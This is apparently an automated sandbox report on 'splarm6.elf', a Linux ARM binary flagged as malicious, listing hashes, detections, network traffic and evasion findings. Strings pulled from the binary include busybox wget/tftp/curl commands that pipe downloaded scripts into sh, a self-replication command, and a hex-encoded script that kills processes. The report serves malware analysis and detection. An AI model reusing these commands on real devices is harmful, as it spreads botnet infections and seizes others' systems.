Linux Analysis Report
splarm6.elf

ID:	1580215
Product:	CloudBasic
Start time:	04:28:57
Start date:	24.12.2024
Sample:	splarm6.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	fa07dc5937a0f1b7195d9e23661950a0
SHA1:	dd83b10889d10fdf4e6b15776fe3a0481d7b574d
SHA256:	b6322b22ef45b76dc832337b20a92496d71cecfed0bd4f4303bab5f167efd627
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Name	Type	MD5	SHA1	SHA256

AV Detection

Source: splarm6.elf	Virustotal: Detection: 32%			Perma Link
Source: splarm6.elf	ReversingLabs: Detection: 36%

Spreading

Source: splarm6.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: splarm6.elf	String found in binary or memory: http:///curl.sh
Source: splarm6.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@2/0

Malware Analysis System Evasion

Source: /tmp/splarm6.elf (PID: 5512)

Queries kernel information via 'uname':

Jump to behavior

Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm6.elf
Source: splarm6.elf, 5512.1.000055ceb0de5000.000055ceb0f13000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm6.elf, 5512.1.000055ceb0de5000.000055ceb0f13000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped